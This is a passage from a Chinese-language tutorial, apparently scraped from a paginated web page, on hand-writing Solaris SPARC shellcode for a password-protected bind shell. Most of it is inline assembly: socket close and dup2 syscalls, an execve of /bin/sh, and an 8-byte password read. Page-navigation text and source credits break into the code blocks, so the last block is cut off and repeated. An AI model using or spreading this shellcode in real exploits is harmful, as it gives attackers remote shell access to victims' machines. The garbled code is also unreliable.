这段代码仅仅演示了很重要的两个部分,一个是设置文本段可写,一个是成功创建套
接字并阻塞在accept()系统调用处,一旦有入连接,程序就正常终止了。幸运的是,
在经历了太多磨难后,SPARC没有继续为难我们,一切按照预想的发展。
编写syscall( 6, s )、syscall( 6, c )以及syscall( 62, c, 9, 0 ):
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x06, %o0 ! 第一个参数6
ld [ %l7 ], %o1 ! 第二个参数s
clr %g1
ta 8
mov 0x3e, %o0 ! 第一个参数62
ld [ %l7 + 4 ], %o1 ! 第二个参数c
mov 0x09, %o2
clr %o3
clr %g1
ta 8
mov 0x06, %o0 ! 第一个参数6
ld [ %l7 + 4 ], %o1 ! 第二个参数c
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
还有一个更烦人的execve( name[0], name, 0 ),可以从
<< solaris for sparc下shellcode的编写(三) >>中偷一些代码过来:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
sethi 0xbd89a, %l4 ! sethi %hi(0x2f626800), %l4
or %l4, 0x16e, %l4
[1] [2] [3] 下一页
sethi 0xbdcda, %l5 ! sethi %hi(0x2f736800), %l5
and %sp, %sp, %o0 ! $o0 指向字符串/bin/sh
add %sp, 8, %o1 ! $o1 存放一个地址,该地址处存放了指向字符串的指针
xor %o2, %o2, %o2 ! %o2寄存器清零
add %sp, 16, %sp ! 留出存储空间
std %l4, [%sp - 16] ! 存放字符串
st %o0, [%sp - 8] ! 存放字符串指针
st %g0, [%sp - 4] ! %g0总是为0
mov 0x3b, %g1 ! 将0x3b拷贝到%g1寄存器中
ta 8 ! 执行中断指令ta 8(execve()完成)
");
} /* end of main */
--------------------------------------------------------------------------
最后研究一下syscall( 3, c, pass, 8 ):
--------------------------------------------------------------------------
0x1033c <main+392>: mov 3, %o0
0x10340 <main+396>: ld [ %o1 + 0x1b0 ], %o1
0x10344 <main+400>: sethi %hi(0x26400), %o3
0x10348 <main+404>: or %o3, 0x158, %o2 ! 0x26558 <pass>
0x1034c <main+408>: mov 8, %o3
0x10350 <main+412>: call 0x10fec <syscall>
0x10354 <main+416>: nop
--------------------------------------------------------------------------
分析后提炼如下:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x03, %o0 ! 第一个参数3
上一页 [1] [2] [3] 下一页
ld [ %l7 + 4 ], %o1 ! 第二个参数c
add %l7, 8, %o2 ! 第三个参数pass
mov 0x08, %o3 ! 第四个参数8
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
本以为这就是最后了,猛然记起SPARC没有repnz cmpsb指令。可以省点事的是我们强
制口令恰好8个字节,所以比较两个usigned long即可。
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
read:
mov 0x03, %o0 ! 第一个参数3
ld [ %l7 + 4 ], %o1 ! 第二个参数c
add %l7, 8, %o2 ! 第三个参数pass
mov 0x08, %o3 ! 第四个参数8
clr %g1
(出处:http://www.sheup.com)
上一页 [1] [2] [3]
mov 0x08, %o3 ! 第四个参数8
clr %g1
(出处:http://www.sheup.com)
上一页 [1] [2] [3] [4]